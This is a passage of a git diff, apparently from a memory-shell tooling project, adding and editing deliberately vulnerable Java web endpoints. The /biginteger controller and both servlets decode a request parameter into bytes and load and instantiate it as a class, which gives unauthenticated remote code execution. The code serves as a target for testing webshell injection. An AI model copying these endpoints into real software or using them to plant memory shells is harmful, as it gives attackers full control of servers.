2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java index f6f1f7ea..24e0e555 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java @@ -25,8 +25,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - Object obj = defineClass(null, bytes, 0, bytes.length).newInstance(); - res.getWriter().print(obj); + defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java index 33129a7d..a106e99a 100644 --- a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java @@ -22,8 +22,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - Object obj = defineClass(null, bytes, 0, bytes.length).newInstance(); - res.getWriter().print(obj); + defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp/src/main/java/TestServlet.java b/vul/vul-webapp/src/main/java/TestServlet.java index c1fc5020..c280e226 100644 --- a/vul/vul-webapp/src/main/java/TestServlet.java +++ b/vul/vul-webapp/src/main/java/TestServlet.java @@ -3,7 +3,6 @@ import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; - /** * @author ReaJason * @since 2024/12/7 diff --git a/web/app/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx index ca483dcb..a62b1763 100644 --- a/web/app/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -375,6 +375,22 @@ export default function MainConfigCard({ )} /> + ( + + + + + + + )} + />